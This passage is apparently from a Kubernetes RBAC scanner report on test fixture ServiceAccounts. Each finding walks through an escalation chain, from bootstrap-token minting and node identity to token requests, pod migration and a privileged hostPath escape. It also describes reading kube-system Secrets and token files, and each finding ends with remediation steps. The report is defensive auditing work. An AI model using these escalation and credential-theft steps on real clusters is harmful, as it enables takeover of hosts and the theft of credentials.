3. ServiceAccount/foothold-exec/foothold-decoy-sa → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/nodeid-fixtures/nodeid-tokenwriter yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/nodeid-fixtures/nodeid-tokenwriter.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-tokenwriter, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/foothold-exec/foothold-decoy-sa.
  4. Acting as ServiceAccount/foothold-exec/foothold-decoy-sa, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  5. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create secrets in kube-system that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create secrets in kube-system that enables the first hop (ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Cluster 8.0
ServiceAccount/privesc-fixtures/sa-secret-mint can reach node escape (host root) in 3 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-secret-mint → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (3 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-secret-mint → / via bootstrap_token_mint (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
2. ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/foothold-exec/foothold-decoy-sa via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
3. ServiceAccount/foothold-exec/foothold-decoy-sa → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-secret-mint yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-secret-mint.
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker writes a Secret of type bootstrap.kubernetes.io/token in kube-system (create,get secrets in kube-system). The bootstrap-token authenticator treats it as a credential for system:bootstrap:<id> in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/foothold-exec/foothold-decoy-sa.
  4. Acting as ServiceAccount/foothold-exec/foothold-decoy-sa, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  5. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create,get secrets in kube-system that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create,get secrets in kube-system that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH

Subjects can read kube-system Secrets in 1 hop(s)

KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS 22 subjects Score 8.4–7.9
MITRE ATT&CK: T1552.007T1078.004T1098

Affected subjects (22)

HIGH ServiceAccount/foothold-exec/foothold-reader Namespace 8.4
ServiceAccount/foothold-exec/foothold-reader can read kube-system Secrets in 1 hop(s)
Scope · Namespace Source ServiceAccount/foothold-exec/foothold-reader → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/foothold-exec/foothold-reader

Subject ServiceAccount/foothold-exec/foothold-reader has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/foothold-exec/foothold-reader → / via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/foothold-exec/foothold-reader.
  2. Acting as ServiceAccount/foothold-exec/foothold-reader, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  3. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission get,list secrets that enables the first hop (ServiceAccount/foothold-exec/foothold-reader → /).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission get,list secrets that enables the first hop (ServiceAccount/foothold-exec/foothold-reader → /).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/foothold-fixtures/foothold-quiet Namespace 8.4
ServiceAccount/foothold-fixtures/foothold-quiet can read kube-system Secrets in 1 hop(s)
Scope · Namespace Source ServiceAccount/foothold-fixtures/foothold-quiet → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/foothold-fixtures/foothold-quiet

Subject ServiceAccount/foothold-fixtures/foothold-quiet has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/foothold-fixtures/foothold-quiet → / via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/foothold-fixtures/foothold-quiet.
  2. Acting as ServiceAccount/foothold-fixtures/foothold-quiet, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  3. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/foothold-fixtures/foothold-quiet
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission get,list secrets that enables the first hop (ServiceAccount/foothold-fixtures/foothold-quiet → /).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission get,list secrets that enables the first hop (ServiceAccount/foothold-fixtures/foothold-quiet → /).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/gw-workloads/gw-powerful Namespace 8.4
ServiceAccount/gw-workloads/gw-powerful can read kube-system Secrets in 1 hop(s)
Scope · Namespace Source ServiceAccount/gw-workloads/gw-powerful → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/gw-workloads/gw-powerful

Subject ServiceAccount/gw-workloads/gw-powerful has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/gw-workloads/gw-powerful → / via read_secrets (list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/gw-workloads/gw-powerful.
  2. Acting as ServiceAccount/gw-workloads/gw-powerful, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  3. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/gw-workloads/gw-powerful
    Permission granted list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission list secrets that enables the first hop (ServiceAccount/gw-workloads/gw-powerful → /).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission list secrets that enables the first hop (ServiceAccount/gw-workloads/gw-powerful → /).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/imgswap-fixtures/imgswap-reader Namespace 8.4
ServiceAccount/imgswap-fixtures/imgswap-reader can read kube-system Secrets in 1 hop(s)
Scope · Namespace Source ServiceAccount/imgswap-fixtures/imgswap-reader → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/imgswap-fixtures/imgswap-reader

Subject ServiceAccount/imgswap-fixtures/imgswap-reader has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/imgswap-fixtures/imgswap-reader → / via read_secrets (get,list secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/imgswap-fixtures/imgswap-reader.
  2. Acting as ServiceAccount/imgswap-fixtures/imgswap-reader, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (get,list secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  3. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission get,list secrets that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-reader → /).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission get,list secrets that enables the first hop (ServiceAccount/imgswap-fixtures/imgswap-reader → /).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Namespace 8.4
ServiceAccount/privesc-fixtures/sa-secret-mint can read kube-system Secrets in 1 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-secret-mint → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/privesc-fixtures/sa-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint has a privesc path that terminates in get/list/watch secrets in kube-system. This is not full cluster-admin, but it is the most consequential namespace to read. kube-system Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to cluster-admin (operator installers, helm-controllers).

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-secret-mint → / via read_secrets (create,get secrets): can read secrets in kube-system or cluster-wide

In production clusters this path is the single most common one in kubesplaining's output. secrets:get is over-granted by Helm chart defaults, by stale view-style roles, and by ConfigMap-reader roles that wildcard resources to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.

Impact Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload mounting ServiceAccount/privesc-fixtures/sa-secret-mint.
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (create,get secrets) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.
  3. Final step: the attacker has get secrets -n kube-system. They list every Secret, decode each data value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here.
  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
Remediation
Eliminate the path by tightening secrets:get in kube-system to a narrow allowlist of system controllers, then break the chain at: remove the permission create,get secrets that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint → /).
  1. List who can get secrets -n kube-system: kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:<ns>:<sa> for every workload SA, and kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets to find broad grants.
  2. Move kube-system Secrets that don't need to be live to External Secrets Operator (Vault/SecretsManager) so the in-cluster Secret becomes a generated artifact instead of source-of-truth.
  3. Break the chain at: remove the permission create,get secrets that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint → /).
  4. For controllers that legitimately need a kube-system Secret read, scope the binding to that exact named Secret using resourceNames, not resources: [secrets].
  5. Wire admission policy: a Kyverno rule that fails any new RoleBinding/ClusterRoleBinding granting secrets verbs without resourceNames to non-system subjects.
HIGH ServiceAccount/privesc-fixtures/sa-secret-read Namespace 8.4
ServiceAccount/privesc-fixtures/sa-secret-read can read kube-system Secrets in 1 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-secret-read → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide
Category: Data Exfiltration Subject: ServiceAccount/privesc-fixtures/sa-secret-read

